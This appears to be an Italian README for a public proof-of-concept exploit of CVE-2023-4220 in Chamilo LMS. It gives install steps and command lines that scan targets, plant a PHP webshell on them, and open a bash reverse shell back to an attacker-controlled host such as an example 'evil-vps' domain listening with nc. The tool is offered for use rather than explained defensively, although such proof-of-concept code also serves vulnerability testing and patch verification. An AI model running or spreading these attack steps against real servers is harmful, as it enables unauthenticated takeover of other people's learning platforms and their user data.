m3m0o/chamilo-lms-unauthenticated-big-upload-rce-pocQuesto è uno script scritto in Python che permette lo sfruttamento della vulnerabilità di sicurezza del software LMS Chamilo descritta in CVE-2023-4220
Questo è uno script scritto in Python che consente lo sfruttamento della falla di sicurezza del software Chamilo LMS descritta in CVE-2023-4220. Il sistema è vulnerabile nelle versioni precedenti la 1.11.24.
Clona il repository sulla tua macchina e installa le dipendenze usando pip (si consiglia di usare virtualenv per creare un ambiente separato da quello globale).
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
Lo script necessita dell'URL del target con il percorso radice di Chamilo (ad esempio http://example.com/chamilo, http://example.com o http://chamilo.example.com) e di un'azione da eseguire (sono disponibili tre azioni: scan, webshell e revshell).
Questa azione verifica se il target è vulnerabile tentando di accedere all'endpoint .
python3 main.py -u http://example.com/chamilo -a scan
Questa azione crea un file webshell PHP nell'endpoint vulnerabile.
python3 main.py -u http://example.com/chamilo -a webshell
Questa azione crea ed esegue un file reverse shell bash. Per farlo, verrà prima creata una webshell usando lo stesso metodo dell'azione precedente. Successivamente, verranno eseguiti alcuni comandi per creare ed eseguire il file bash. Assicurati di essere in ascolto sulla porta che hai definito con nc o qualsiasi altro strumento per ricevere effettivamente la connessione inversa. Inoltre, l'host può essere un IPv4 interno/pubblico valido (come 172.17.1.4 o 186.227.4.31) o il dominio che hai registrato (come evil-vps.domainreg.net).
python3 main.py -u http://example.com/chamilo -a revshell
NOTA: Presto aggiungerò un'opzione di payload per Windows per gli host Windows.